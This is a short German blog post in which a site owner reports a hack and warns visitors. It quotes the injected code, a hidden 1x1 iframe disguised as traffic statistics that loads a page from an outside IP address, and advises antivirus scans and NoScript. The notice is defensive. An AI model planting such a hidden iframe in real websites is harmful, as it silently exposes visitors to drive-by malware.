Irgendwie hat mal wieder jemand die Website gehackt. Ich hasse diese Assis! 
Durch eine Sicherheitslücke hat jemand ein verstecktes Modul eingebaute, das folgenden Code ausgeführt hat:
<!– Traffic Statistics –> <iframe src=http://61.155.8.***/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –>
Ich hab das Modul deaktiviert und gehe der Sache nach:
http://forum.joomla.org/viewtopic.php?f=267&p=1347561
Für alle, die keinen Virenscanner haben und in den letzten Stunden online waren – ladet Euch avast oder antivir runter und scannt eure Platte. Dem Rest empfehle ich den Umstieg auf Firefox und das NoScript-Plugin (verhindert das unerlaubte Ausführen von Javascript): https://addons.mozilla.org/de/firefox/addon/722